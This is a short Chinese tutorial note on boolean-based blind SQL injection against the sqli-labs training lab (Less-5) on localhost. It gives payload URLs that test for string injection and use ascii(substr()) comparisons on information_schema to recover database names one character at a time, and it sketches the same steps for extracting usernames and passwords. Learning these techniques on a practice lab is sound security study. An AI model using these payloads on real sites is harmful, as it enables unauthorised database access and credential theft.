盲注

这个我用的是第五个做的盲注  如果你想做一个真的盲注 那在 http://127.0.0.1/sqli-labs/Less-8?id=1 以下方式同样适用
http://127.0.0.1/sqli-labs/Less-5?id=1 and 1=1 --+ 正常
http://127.0.0.1/sqli-labs/Less-5?id=1 and 1=2 --+ 正常
http://127.0.0.1/sqli-labs/Less-5?id=1' and 1=2 --+ 不正常
http://127.0.0.1/sqli-labs/Less-5?id=1' and 1=1 --+ 正常
说明 是字符串盲注 
 因为盲注前提是没有显示位  只能靠 页面是否正常 来判断 SQL语句 是否执行成功
在判断过程中 我只发现  You are in...........      
有变化 又只有添加了'才有变化  因此是字符串盲注
采用二分法判断范围 最终锁定
http://127.0.0.1/sqli-labs/Less-5?id=1' and (select count(schema_name) from information_schema.schemata)  >7--+
判断数据库数量  它大于6不小于7 小于8 因此 有7个数据库
ascii()使变量转化为十进制ASCII码 
substr函数的用法,取得字符串中指定起始位置和长度的字符串  ,默认是从起始位置到结束的子串。
http://127.0.0.1/sqli-labs/Less-5?id=1' and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>105 --+
判断第一个数据库第一个字符 是i 因为Apache 第一个数据库是 information_schema
通过比较 它大于104 不小于105 小于106  所以 比对 ASCII码表得知为i 所以第一个数据库是 information_schema
 因为太繁琐  所以就不朝下作了
之后的就是这样一步步比对   
比较得到数据库
然后在数据库中比较所有字段 
然后在字段中 选择username password 去比较内容 
得到

你可能感兴趣的:(sql注入)